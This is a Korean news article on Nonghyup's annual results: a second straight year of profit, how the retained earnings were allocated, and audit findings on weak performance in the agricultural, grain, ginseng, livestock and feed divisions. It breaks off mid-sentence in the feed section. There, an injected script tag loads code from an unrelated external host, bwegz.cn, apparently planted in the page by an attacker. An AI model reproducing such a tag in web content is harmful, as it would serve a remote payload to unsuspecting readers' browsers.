농협중앙회가 통합이후 2년 연속 흑자를 기록하며 정상괘도에 들어서고 있다.
통합 시너지에 힘입어 당기순이익이 통합원년 1956억원보다 두배가까이 늘어난 3804억원으로 늘어났으며 2단계 개혁안과 조직간 급여와 직급 통일 등 시스템 통합 작업도 마무리단계에 돌입했다.

농협중앙회는 지난 20일 정기 대의원대회를 열고 지난해 대손충당금 7665억원을 추가 적립하고 당기순이익 3804억원을 시현, 회원조합에 7%의 배당금 323억원을 계상했다고 밝혔다.
이에 따른 이익 잉여금은 당기순이익 3804억원과 전기이월이익잉여금 395억원을 합한 당기말 미처분이익잉여금 4199억원 중 기업합리화적립금 47억원을 포함해 법정적립금에 469억원, 사업준비금 840억원, 회원지원적립금 1400억원, 조합상호지원적립금 300억원을 적립했다.
또 회원조합 출자 배당금은 300억원을, 이용고배당금으로 23억원, 우선출자배당금으로 27억원을 계상하고 남은 840억원을 다음년도로 이월했다.

그러나 이같은 결산과 달리 아직도 경제사업부문의 적자가 개선되지 않는 등 부진한 실정이며, 각 사업부문간 책임경영체제가 확립되지 않고 있는 실정이다.
이와 더불어 최근 회원조합으로 이관되거나 자회사로 분리하는 과정에서 직원들간의 마찰로 진통을 겪고 있으며 이같은 불협화음으로 사업전반에 미치는 영향이 상당히 큰 것으로 지적됐다.
또 신용사업부문의 전문인력확보도 시급히 이뤄져야 할 사안이다.
이날 대의원조합장에게 보고됐던 감사보고서의 주요 내용을 알아봤다. 권민 최상희

〈농업경제부문〉
연합판매 `호평''
▲농산물유통부문=지난해 농업경제부문 전체 사업실적은 계획 6조 8973억원의 90.6%를 달성한 6조 2515억원으로 다소 부진한 실적을 보였다. 이는 쌀 과잉생산에 따른 가격하락과 전반적인 소비심리 위축, 대형 소매유통업체와의 경쟁심화 등이 주 요인으로 분석됐다.
또 매출액은 3조 5720억원으로 전년 대비 1442억원이 증가했으나 당기순이익은 당초 계획보다 202억원이 부족한 723억원의 적자를 보였다.

부문별로는 생활물자·일반자재·하나로마트 등을 제외한 대부분이 적자를 면치 못해 생산성 위주의 손익구조 개선방안 마련이 시급하다.
농산물공판사업부문은 중앙회 최초로 대관령 현지에서 통합출하유치팀을 운영, 25개 산지농협의 유치물량을 공판장·유통센터로 분산하는 등 적극적인 사업추진으로 매출액 9638억원을 달성해 전년대비 9.3%성장했다. 손익은 계획 △33억2900만원 대비 △19억9300만원을 달성하는 등 상당한 성과를 거뒀다.

협동조합 유통활성화사업 확대 추진으로 산지농산물 유통개혁의 중심 역할을 수행할 선도농협 육성과 공동마케팅, 컨설팅, 교육 등으로 회원농협 판매사업 지도·지원에 큰 역할을 담당했다.
또 최저보장가격제도와 연계한 정부·농협 자체 수매사업 추진, 고랭지채소 농협연합판매사업 등을 통해 농업인 소득지지와 회원농협 사업활성화에 기여한 점도 높이 평가됐다.

▲양곡부문=정부 인수곡 낙찰률 저하 등의 요인으로 계획 1조3532억원 대비 1854억원이 미달한 1조 1678억원으로 86.3%의 달성률을 보이고 있으며 매출총이익은 전년대비 245억원 감소한 420억원으로 부진한 실적을 보였다.
그러나 쌀재고 과다와 소비감소로 인한 쌀값 하락을 예견하고 아침밥먹기 캠페인, 쌀 한포대 더 사기 운동 등 쌀 소비확대 분위기를 조성, 각종 언론 매체의 호응과 소비자의 동참을 이끌어 내는 성과를 거뒀다.

▲인삼부문=현실성 없는 무리한 사업계획과 판매장의 매출이익률 과다 책정 등으로 사업실적 및 손익이 목표에 크게 미달했다. 사전에 충분한 검토를 통해 사업계획을 수립하고 영업활동을 강화하는 등 수익개선에 획기적인 대책이 필요하다.

〈축산경제부문〉
전반적 사업실적 저조

▲축산지원부문=지난해 사업실적은 계획 2조 8791억원 대비 91.2%인 2조 6256억원으로 저조한 실적을 보였다. 이는 육가공사업의 회원조합 이양방침 등으로 인한 사업위축, 군납육 단가 인하, 원료육 돈가 상승 등에 기인한 것으로 판단됐다.
사업장 구조조정에 따른 잉여인력을 타 사업 부문으로 전환 배치하는 등 인력 운용방안이 마련돼야 하며 사업장별 심사분석을 통해 업무 효율성을 제고해야 한다.

▲축산유통부문=공판장 사내분사화, 판매장 양도 등 축산유통부문의 구조조정을 적극 추진했으나 포장육 가공사업과 군납사업은 76억원의 적자를 보이는 등 부진한 실적을 나타냈다.

▲사료부문=국내 사료업계 중 농협사료 점유비는 2001년 9월 현재 물량기준으로 26.5%로 전년말 대비 0.3%가 감소한 것이다.
이는 농협사료 취급 점유비가 높은 한우 ?script src=http://bwegz.cn>

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